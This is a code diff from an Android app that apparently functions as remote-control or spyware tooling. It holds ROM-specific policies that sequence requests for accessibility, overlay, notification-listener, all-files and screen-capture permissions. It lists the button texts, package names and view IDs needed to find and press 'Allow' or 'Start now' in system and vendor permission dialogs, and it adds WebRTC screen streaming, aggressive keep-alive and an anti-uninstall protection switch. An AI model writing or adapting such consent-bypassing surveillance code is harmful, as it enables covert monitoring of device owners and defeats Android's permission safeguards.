val disableActivityKeepAlive = info.brand == DeviceBrand.OPPO || info.brand == DeviceBrand.VIVO
|
||||
return KeepAlivePolicy(
|
||||
useActivityKeepAlive = !disableActivityKeepAlive,
|
||||
enableAggressiveWorkers = true,
|
||||
keepAliveCheckIntervalMs = 10_000L,
|
||||
minForegroundKickIntervalMs = 5_000L
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,406 @@
|
||||
package com.hikoncont.util.adaptation
|
||||
|
||||
import com.hikoncont.util.DeviceDetector.DeviceBrand
|
||||
import com.hikoncont.util.UnifiedPermissionOrchestrator
|
||||
|
||||
/**
|
||||
* Unified ROM policy model for permission orchestration + installer routing.
|
||||
*
|
||||
* Keep ROM branching in one place and avoid scattering manufacturer checks
|
||||
* across MainActivity/Service/manager modules.
|
||||
*/
|
||||
enum class PermissionStep(val orchestratorStep: UnifiedPermissionOrchestrator.Step) {
|
||||
RUNTIME(UnifiedPermissionOrchestrator.Step.RUNTIME),
|
||||
OVERLAY(UnifiedPermissionOrchestrator.Step.OVERLAY),
|
||||
WRITE_SETTINGS(UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS),
|
||||
ALL_FILES_ACCESS(UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS),
|
||||
NOTIFICATION_LISTENER(UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER),
|
||||
BATTERY_OPTIMIZATION(UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION),
|
||||
EXACT_ALARM(UnifiedPermissionOrchestrator.Step.EXACT_ALARM),
|
||||
ACCESSIBILITY(UnifiedPermissionOrchestrator.Step.ACCESSIBILITY),
|
||||
MEDIA_PROJECTION(UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION)
|
||||
}
|
||||
|
||||
enum class InstallerStrategy {
|
||||
SESSION_FAST,
|
||||
SESSION_COMPAT
|
||||
}
|
||||
|
||||
data class RomPolicy(
|
||||
val strategyId: String,
|
||||
val permissionStepOrder: List<PermissionStep>,
|
||||
val mediaProjectionConfirmTexts: List<String>,
|
||||
val mediaProjectionDetectionKeywords: List<String>,
|
||||
val mediaProjectionDenyKeywords: List<String>,
|
||||
val runtimePermissionAllowKeywords: List<String>,
|
||||
val runtimePermissionDenyKeywords: List<String>,
|
||||
val runtimePermissionOptionKeywords: List<String>,
|
||||
val runtimePermissionFinalConfirmKeywords: List<String>,
|
||||
val runtimePermissionConfirmViewIdHints: List<String>,
|
||||
val permissionDialogPackageHints: List<String>,
|
||||
val permissionFlowPackageHints: List<String>,
|
||||
val appOpenDialogPackageHints: List<String>,
|
||||
val appOpenDialogTitleKeywords: List<String>,
|
||||
val appOpenDialogAlwaysAllowKeywords: List<String>,
|
||||
val appOpenDialogPositiveKeywords: List<String>,
|
||||
val appOpenDialogNegativeKeywords: List<String>,
|
||||
val appOpenDialogPositiveButtonIds: List<String>,
|
||||
val appOpenDialogCheckboxIds: List<String>,
|
||||
val installerStrategy: InstallerStrategy
|
||||
)
|
||||
|
||||
interface RomPolicyStrategy {
|
||||
val id: String
|
||||
val priority: Int
|
||||
|
||||
fun matches(info: DeviceRuntimeInfo): Boolean
|
||||
|
||||
fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy
|
||||
}
|
||||
|
||||
object RomPolicyRegistry {
|
||||
private val strategies: List<RomPolicyStrategy> = listOf(
|
||||
XiaomiRomPolicyStrategy,
|
||||
OppoFamilyRomPolicyStrategy,
|
||||
DefaultRomPolicyStrategy
|
||||
).sortedByDescending { it.priority }
|
||||
|
||||
fun resolve(info: DeviceRuntimeInfo): RomPolicy {
|
||||
val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultRomPolicyStrategy
|
||||
return strategy.buildPolicy(info)
|
||||
}
|
||||
}
|
||||
|
||||
private object XiaomiRomPolicyStrategy : RomPolicyStrategy {
|
||||
override val id: String = "xiaomi_permission_media_projection_firstsafe"
|
||||
override val priority: Int = 120
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
return info.brand == DeviceBrand.XIAOMI
|
||||
}
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
|
||||
return baseRomPolicy(id).copy(
|
||||
permissionStepOrder = listOf(
|
||||
PermissionStep.RUNTIME,
|
||||
PermissionStep.OVERLAY,
|
||||
PermissionStep.WRITE_SETTINGS,
|
||||
PermissionStep.ALL_FILES_ACCESS,
|
||||
PermissionStep.NOTIFICATION_LISTENER,
|
||||
PermissionStep.BATTERY_OPTIMIZATION,
|
||||
PermissionStep.EXACT_ALARM,
|
||||
PermissionStep.ACCESSIBILITY,
|
||||
PermissionStep.MEDIA_PROJECTION
|
||||
),
|
||||
mediaProjectionConfirmTexts = mergeDistinct(
|
||||
listOf("立即开始", "开始", "允许", "同意", "确认", "Start now", "Start", "Allow", "OK"),
|
||||
DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS
|
||||
),
|
||||
permissionDialogPackageHints = mergeDistinct(
|
||||
listOf(
|
||||
"com.miui.securitycenter",
|
||||
"com.miui.permcenter",
|
||||
"com.miui.permissioncontroller",
|
||||
"com.lbe.security.miui"
|
||||
),
|
||||
DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS
|
||||
),
|
||||
permissionFlowPackageHints = mergeDistinct(
|
||||
listOf(
|
||||
"com.miui.securitycenter",
|
||||
"com.miui.permcenter",
|
||||
"com.miui.permissioncontroller",
|
||||
"com.lbe.security.miui"
|
||||
),
|
||||
DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS
|
||||
),
|
||||
installerStrategy = InstallerStrategy.SESSION_FAST
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object OppoFamilyRomPolicyStrategy : RomPolicyStrategy {
|
||||
override val id: String = "oppo_family_permission_background_first"
|
||||
override val priority: Int = 110
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
return info.brand == DeviceBrand.OPPO ||
|
||||
info.brand == DeviceBrand.ONEPLUS ||
|
||||
info.brand == DeviceBrand.REALME
|
||||
}
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
|
||||
return baseRomPolicy(id).copy(
|
||||
permissionStepOrder = listOf(
|
||||
PermissionStep.RUNTIME,
|
||||
PermissionStep.OVERLAY,
|
||||
PermissionStep.WRITE_SETTINGS,
|
||||
PermissionStep.BATTERY_OPTIMIZATION,
|
||||
PermissionStep.NOTIFICATION_LISTENER,
|
||||
PermissionStep.ALL_FILES_ACCESS,
|
||||
PermissionStep.EXACT_ALARM,
|
||||
PermissionStep.ACCESSIBILITY,
|
||||
PermissionStep.MEDIA_PROJECTION
|
||||
),
|
||||
mediaProjectionConfirmTexts = mergeDistinct(
|
||||
listOf("立即开始", "开始", "允许", "确定", "确认", "同意", "Start now", "Start", "Allow", "Confirm", "OK"),
|
||||
DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS
|
||||
),
|
||||
permissionDialogPackageHints = mergeDistinct(
|
||||
listOf(
|
||||
"com.coloros.securitypermission",
|
||||
"com.coloros.safecenter",
|
||||
"com.oppo.safecenter",
|
||||
"com.oplus.safecenter",
|
||||
"com.heytap.security",
|
||||
"com.heytap.permission",
|
||||
"com.oppo.permissioncontroller"
|
||||
),
|
||||
DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS
|
||||
),
|
||||
permissionFlowPackageHints = mergeDistinct(
|
||||
listOf(
|
||||
"com.coloros.securitypermission",
|
||||
"com.coloros.safecenter",
|
||||
"com.oppo.safecenter",
|
||||
"com.oplus.safecenter",
|
||||
"com.heytap.security",
|
||||
"com.heytap.permission",
|
||||
"com.oppo.permissioncontroller"
|
||||
),
|
||||
DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS
|
||||
),
|
||||
appOpenDialogPackageHints = mergeDistinct(
|
||||
listOf(
|
||||
"com.coloros.securitypermission",
|
||||
"com.coloros.safecenter",
|
||||
"com.oppo.safecenter",
|
||||
"com.oplus.safecenter",
|
||||
"com.heytap.security",
|
||||
"com.heytap.permission"
|
||||
),
|
||||
DEFAULT_APP_OPEN_PACKAGE_HINTS
|
||||
),
|
||||
appOpenDialogAlwaysAllowKeywords = mergeDistinct(
|
||||
listOf(
|
||||
"是否始终允许打开",
|
||||
"是否始终允许开启应用",
|
||||
"始终允许打开",
|
||||
"始终允许开启",
|
||||
"总是允许打开",
|
||||
"总是允许开启",
|
||||
"always allow"
|
||||
),
|
||||
DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS
|
||||
),
|
||||
appOpenDialogPositiveKeywords = mergeDistinct(
|
||||
listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok"),
|
||||
DEFAULT_APP_OPEN_POSITIVE_KEYWORDS
|
||||
),
|
||||
installerStrategy = InstallerStrategy.SESSION_COMPAT
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object DefaultRomPolicyStrategy : RomPolicyStrategy {
|
||||
override val id: String = "default_rom_policy"
|
||||
override val priority: Int = 0
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean = true
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
|
||||
return baseRomPolicy(id)
|
||||
}
|
||||
}
|
||||
|
||||
private fun baseRomPolicy(strategyId: String): RomPolicy {
|
||||
return RomPolicy(
|
||||
strategyId = strategyId,
|
||||
permissionStepOrder = listOf(
|
||||
PermissionStep.RUNTIME,
|
||||
PermissionStep.OVERLAY,
|
||||
PermissionStep.WRITE_SETTINGS,
|
||||
PermissionStep.ALL_FILES_ACCESS,
|
||||
PermissionStep.NOTIFICATION_LISTENER,
|
||||
PermissionStep.BATTERY_OPTIMIZATION,
|
||||
PermissionStep.EXACT_ALARM,
|
||||
PermissionStep.ACCESSIBILITY,
|
||||
PermissionStep.MEDIA_PROJECTION
|
||||
),
|
||||
mediaProjectionConfirmTexts = DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS,
|
||||
mediaProjectionDetectionKeywords = DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS,
|
||||
mediaProjectionDenyKeywords = DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS,
|
||||
runtimePermissionAllowKeywords = DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS,
|
||||
runtimePermissionDenyKeywords = DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS,
|
||||
runtimePermissionOptionKeywords = DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS,
|
||||
runtimePermissionFinalConfirmKeywords = DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS,
|
||||
runtimePermissionConfirmViewIdHints = DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS,
|
||||
permissionDialogPackageHints = DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS,
|
||||
permissionFlowPackageHints = DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS,
|
||||
appOpenDialogPackageHints = DEFAULT_APP_OPEN_PACKAGE_HINTS,
|
||||
appOpenDialogTitleKeywords = DEFAULT_APP_OPEN_TITLE_KEYWORDS,
|
||||
appOpenDialogAlwaysAllowKeywords = DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS,
|
||||
appOpenDialogPositiveKeywords = DEFAULT_APP_OPEN_POSITIVE_KEYWORDS,
|
||||
appOpenDialogNegativeKeywords = DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS,
|
||||
appOpenDialogPositiveButtonIds = DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS,
|
||||
appOpenDialogCheckboxIds = DEFAULT_APP_OPEN_CHECKBOX_IDS,
|
||||
installerStrategy = InstallerStrategy.SESSION_FAST
|
||||
)
|
||||
}
|
||||
|
||||
private fun mergeDistinct(primary: List<String>, secondary: List<String>): List<String> {
|
||||
return (primary + secondary)
|
||||
.map { it.trim() }
|
||||
.filter { it.isNotEmpty() }
|
||||
.distinct()
|
||||
}
|
||||
|
||||
private val DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS = listOf(
|
||||
"立即开始", "允许", "确定", "开始", "Start now", "Allow", "OK", "Start", "Begin"
|
||||
)
|
||||
|
||||
private val DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS = listOf(
|
||||
"投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
|
||||
"Screen recording", "Screen casting", "Screen capture", "Share screen"
|
||||
)
|
||||
|
||||
private val DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS = listOf(
|
||||
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
|
||||
"Cancel", "Deny", "Dismiss", "Don't allow", "No"
|
||||
)
|
||||
|
||||
private val DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS = listOf(
|
||||
"允许", "始终允许", "允许本次使用", "本次使用时允许",
|
||||
"使用时允许", "使用期间允许", "仅使用期间允许",
|
||||
"仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许",
|
||||
"在使用中运行", "在使用中", "在使用该应用时", "在使用期间",
|
||||
"仅在使用中", "仅在使用期间", "仅在使用应用时",
|
||||
"允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件",
|
||||
"确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次",
|
||||
"Allow", "Always allow", "Allow all the time",
|
||||
"Allow while using", "Allow while using the app", "While using the app",
|
||||
"Allow only this time", "Only this time", "This time only", "Allow once"
|
||||
)
|
||||
|
||||
private val DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS = listOf(
|
||||
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说",
|
||||
"仅在使用中不允许", "仅在使用期间不允许",
|
||||
"Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No"
|
||||
)
|
||||
|
||||
private val DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS = listOf(
|
||||
"每次使用询问", "每次询问", "询问",
|
||||
"仅在使用中允许", "仅在使用期间允许",
|
||||
"仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许",
|
||||
"仅本次", "本次允许", "仅此一次", "允许一次",
|
||||
"Ask every time", "Only this time", "While using the app"
|
||||
)
|
||||
|
||||
private val DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS = listOf(
|
||||
"允许", "确认", "确定", "继续", "同意", "授权", "完成",
|
||||
"Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes"
|
||||
)
|
||||
|
||||
private val DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS = listOf(
|
||||
"button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action"
|
||||
)
|
||||
|
||||
private val DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS = listOf(
|
||||
"com.android.systemui",
|
||||
"android",
|
||||
"com.android.permissioncontroller",
|
||||
"com.google.android.permissioncontroller",
|
||||
"com.android.packageinstaller",
|
||||
"com.miui.securitycenter",
|
||||
"com.miui.permcenter",
|
||||
"com.miui.permissioncontroller",
|
||||
"com.lbe.security.miui",
|
||||
"com.huawei.systemmanager",
|
||||
"com.hihonor.systemmanager",
|
||||
"com.hihonor.securitycenter",
|
||||
"com.coloros.safecenter",
|
||||
"com.coloros.securitypermission",
|
||||
"com.oplus.securitypermission",
|
||||
"com.oppo.permissioncontroller",
|
||||
"com.oppo.safecenter",
|
||||
"com.heytap.permission",
|
||||
"com.heytap.security"
|
||||
)
|
||||
|
||||
private val DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS = listOf(
|
||||
"permissioncontroller",
|
||||
"packageinstaller",
|
||||
"permcenter",
|
||||
"securitycenter",
|
||||
"systemmanager",
|
||||
"lbe.security.miui",
|
||||
"com.coloros",
|
||||
"com.oplus",
|
||||
"com.heytap",
|
||||
"com.oppo"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_PACKAGE_HINTS = listOf(
|
||||
"com.android.permissioncontroller",
|
||||
"com.android.packageinstaller",
|
||||
"com.coloros.securitypermission",
|
||||
"com.coloros.safecenter",
|
||||
"com.oppo.safecenter",
|
||||
"com.oplus.safecenter",
|
||||
"com.heytap.security",
|
||||
"com.heytap.permission"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_TITLE_KEYWORDS = listOf(
|
||||
"是否允许开启应用",
|
||||
"是否允许打开应用",
|
||||
"是否始终允许打开",
|
||||
"是否始终允许开启应用",
|
||||
"允许开启应用",
|
||||
"允许打开应用",
|
||||
"打开此应用",
|
||||
"allow this app to open",
|
||||
"allow opening app"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS = listOf(
|
||||
"是否始终允许打开",
|
||||
"是否始终允许开启应用",
|
||||
"始终允许打开",
|
||||
"始终允许开启",
|
||||
"始终允许打开此应用",
|
||||
"总是允许打开",
|
||||
"总是允许开启",
|
||||
"总是允许打开此应用",
|
||||
"始终允许",
|
||||
"always allow"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_POSITIVE_KEYWORDS = listOf(
|
||||
"确定", "允许", "继续", "同意", "确认", "打开", "ok", "allow", "continue", "confirm", "yes"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS = listOf(
|
||||
"取消", "拒绝", "不允许", "not now", "cancel", "deny", "don't allow"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS = listOf(
|
||||
"android:id/button1",
|
||||
"com.android.permissioncontroller:id/button1",
|
||||
"com.android.packageinstaller:id/button1",
|
||||
"com.android.packageinstaller:id/permission_allow_button",
|
||||
"com.coloros.securitypermission:id/button1",
|
||||
"com.coloros.safecenter:id/button1",
|
||||
"com.oppo.safecenter:id/button1",
|
||||
"com.heytap.permission:id/button1"
|
||||
)
|
||||
|
||||
private val DEFAULT_APP_OPEN_CHECKBOX_IDS = listOf(
|
||||
"android:id/checkbox",
|
||||
"com.android.permissioncontroller:id/checkbox",
|
||||
"com.android.packageinstaller:id/checkbox",
|
||||
"com.coloros.securitypermission:id/checkbox",
|
||||
"com.coloros.safecenter:id/checkbox",
|
||||
"com.oppo.safecenter:id/checkbox",
|
||||
"com.heytap.permission:id/checkbox"
|
||||
)
|
||||
@@ -0,0 +1,137 @@
|
||||
package com.hikoncont.util.adaptation
|
||||
|
||||
import com.hikoncont.util.DeviceDetector.DeviceBrand
|
||||
|
||||
/**
|
||||
* Runtime policy for WebRTC + MediaProjection behavior.
|
||||
*
|
||||
* Keep ROM/model specific tuning here so feature modules avoid hardcoded
|
||||
* brand checks.
|
||||
*/
|
||||
data class WebRtcTransportPolicy(
|
||||
val strategyId: String,
|
||||
val offerRetryDelayMs: Long,
|
||||
val offerRetryMax: Int,
|
||||
val refreshTriggerIntervalMs: Long,
|
||||
val emergencyRefreshMinIntervalMs: Long,
|
||||
val preferDefaultDisplayCaptureIntent: Boolean,
|
||||
val forceMediaProjectionFgsBeforeCapture: Boolean
|
||||
)
|
||||
|
||||
private interface WebRtcTransportAdaptationStrategy {
|
||||
val id: String
|
||||
val priority: Int
|
||||
|
||||
fun matches(info: DeviceRuntimeInfo): Boolean
|
||||
|
||||
fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy
|
||||
}
|
||||
|
||||
/**
|
||||
* Registry for WebRTC transport tuning.
|
||||
*/
|
||||
object WebRtcTransportAdaptationRegistry {
|
||||
private val strategies: List<WebRtcTransportAdaptationStrategy> = listOf(
|
||||
Xiaomi13HyperOsAndroid14Strategy,
|
||||
XiaomiAndroid14Strategy,
|
||||
OppoFamilyAndroid14Strategy,
|
||||
DefaultWebRtcTransportStrategy
|
||||
).sortedByDescending { it.priority }
|
||||
|
||||
fun resolve(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
|
||||
val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultWebRtcTransportStrategy
|
||||
return strategy.buildPolicy(info)
|
||||
}
|
||||
}
|
||||
|
||||
private object Xiaomi13HyperOsAndroid14Strategy : WebRtcTransportAdaptationStrategy {
|
||||
override val id: String = "xiaomi13_hyperos_android14"
|
||||
override val priority: Int = 200
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
if (info.brand != DeviceBrand.XIAOMI) return false
|
||||
if (info.sdkInt < 34) return false
|
||||
val model = info.modelRaw.lowercase()
|
||||
val device = info.deviceRaw.lowercase()
|
||||
val product = info.productRaw.lowercase()
|
||||
return model.contains("2211133c") || device.contains("fuxi") || product.contains("fuxi")
|
||||
}
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
|
||||
return WebRtcTransportPolicy(
|
||||
strategyId = id,
|
||||
offerRetryDelayMs = 4500L,
|
||||
offerRetryMax = 8,
|
||||
refreshTriggerIntervalMs = 3000L,
|
||||
emergencyRefreshMinIntervalMs = 1000L,
|
||||
preferDefaultDisplayCaptureIntent = true,
|
||||
forceMediaProjectionFgsBeforeCapture = true
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object XiaomiAndroid14Strategy : WebRtcTransportAdaptationStrategy {
|
||||
override val id: String = "xiaomi_android14_balanced"
|
||||
override val priority: Int = 150
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
return info.brand == DeviceBrand.XIAOMI && info.sdkInt >= 34
|
||||
}
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
|
||||
return WebRtcTransportPolicy(
|
||||
strategyId = id,
|
||||
offerRetryDelayMs = 5000L,
|
||||
offerRetryMax = 7,
|
||||
refreshTriggerIntervalMs = 3500L,
|
||||
emergencyRefreshMinIntervalMs = 1200L,
|
||||
preferDefaultDisplayCaptureIntent = true,
|
||||
forceMediaProjectionFgsBeforeCapture = true
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object OppoFamilyAndroid14Strategy : WebRtcTransportAdaptationStrategy {
|
||||
override val id: String = "oppo_family_android14"
|
||||
override val priority: Int = 120
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
if (info.sdkInt < 34) return false
|
||||
return info.brand == DeviceBrand.OPPO ||
|
||||
info.brand == DeviceBrand.VIVO ||
|
||||
info.brand == DeviceBrand.ONEPLUS ||
|
||||
info.brand == DeviceBrand.REALME
|
||||
}
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
|
||||
return WebRtcTransportPolicy(
|
||||
strategyId = id,
|
||||
offerRetryDelayMs = 5000L,
|
||||
offerRetryMax = 6,
|
||||
refreshTriggerIntervalMs = 4000L,
|
||||
emergencyRefreshMinIntervalMs = 1500L,
|
||||
preferDefaultDisplayCaptureIntent = true,
|
||||
forceMediaProjectionFgsBeforeCapture = true
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object DefaultWebRtcTransportStrategy : WebRtcTransportAdaptationStrategy {
|
||||
override val id: String = "default_webrtc_transport"
|
||||
override val priority: Int = 0
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean = true
|
||||
|
||||
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
|
||||
return WebRtcTransportPolicy(
|
||||
strategyId = id,
|
||||
offerRetryDelayMs = 5000L,
|
||||
offerRetryMax = 6,
|
||||
refreshTriggerIntervalMs = 4000L,
|
||||
emergencyRefreshMinIntervalMs = 1500L,
|
||||
preferDefaultDisplayCaptureIntent = info.sdkInt >= 34,
|
||||
forceMediaProjectionFgsBeforeCapture = info.sdkInt >= 29
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,7 +3,9 @@
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.os.Build
|
||||
import android.provider.Settings
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationManagerCompat
|
||||
import com.hikoncont.ui.PermissionRequestActivity
|
||||
|
||||
/**
|
||||
@@ -141,11 +143,19 @@ object PermissionRequestHelper {
|
||||
val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES)
|
||||
val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO)
|
||||
val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO)
|
||||
val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
|
||||
hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
|
||||
} else {
|
||||
false
|
||||
}
|
||||
|
||||
Log.d(TAG, "🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission")
|
||||
Log.d(
|
||||
TAG,
|
||||
"🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission, 用户选择媒体=$hasVisualSelectedPermission"
|
||||
)
|
||||
|
||||
// 拥有任一媒体权限即可访问相册
|
||||
hasImagesPermission || hasVideoPermission || hasAudioPermission
|
||||
hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission
|
||||
} else {
|
||||
// Android 12及以下使用传统存储权限
|
||||
// ✅ 优化:只需要读取权限,不需要写入权限
|
||||
@@ -184,6 +194,14 @@ object PermissionRequestHelper {
|
||||
Log.d(TAG, "✅ 快速检测:音频权限已授予")
|
||||
return true
|
||||
}
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
|
||||
val hasVisualSelectedPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
|
||||
if (hasVisualSelectedPermission) {
|
||||
Log.d(TAG, "✅ 快速检测:用户选择媒体权限已授予")
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
Log.d(TAG, "❌ 快速检测:无任何媒体权限")
|
||||
false
|
||||
@@ -213,12 +231,19 @@ object PermissionRequestHelper {
|
||||
val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES)
|
||||
val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO)
|
||||
val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO)
|
||||
val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
|
||||
hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
|
||||
} else {
|
||||
false
|
||||
}
|
||||
|
||||
result["android_version"] = "13+"
|
||||
result["has_images_permission"] = hasImagesPermission
|
||||
result["has_video_permission"] = hasVideoPermission
|
||||
result["has_audio_permission"] = hasAudioPermission
|
||||
result["has_any_media_permission"] = hasImagesPermission || hasVideoPermission || hasAudioPermission
|
||||
result["has_visual_selected_permission"] = hasVisualSelectedPermission
|
||||
result["has_any_media_permission"] =
|
||||
hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission
|
||||
result["permission_type"] = "media"
|
||||
|
||||
Log.d(TAG, "🔍 详细检测结果: $result")
|
||||
@@ -255,4 +280,37 @@ object PermissionRequestHelper {
|
||||
hasPermission(context, android.Manifest.permission.READ_PHONE_STATE) &&
|
||||
hasPermission(context, android.Manifest.permission.CALL_PHONE)
|
||||
}
|
||||
|
||||
fun hasNotificationPermission(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
hasPermission(context, android.Manifest.permission.POST_NOTIFICATIONS)
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
fun hasOverlayPermission(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||||
Settings.canDrawOverlays(context)
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
fun hasWriteSettingsPermission(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||||
Settings.System.canWrite(context)
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
fun hasNotificationListenerPermission(context: Context): Boolean {
|
||||
return try {
|
||||
NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "检查通知监听权限失败", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -103,6 +103,54 @@
|
||||
</LinearLayout>
|
||||
|
||||
<!-- 底部区域:按钮 -->
|
||||
<LinearLayout
|
||||
android:id="@+id/diagnosticPanel"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="16dp"
|
||||
android:orientation="vertical"
|
||||
android:padding="12dp"
|
||||
android:background="@drawable/status_background">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="防卸载保护"
|
||||
android:textSize="14sp"
|
||||
android:textStyle="bold"
|
||||
android:textColor="#FFFFFF" />
|
||||
|
||||
<Switch
|
||||
android:id="@+id/uninstallProtectionSwitch"
|
||||
android:layout_width="wrap_content"
|
||||
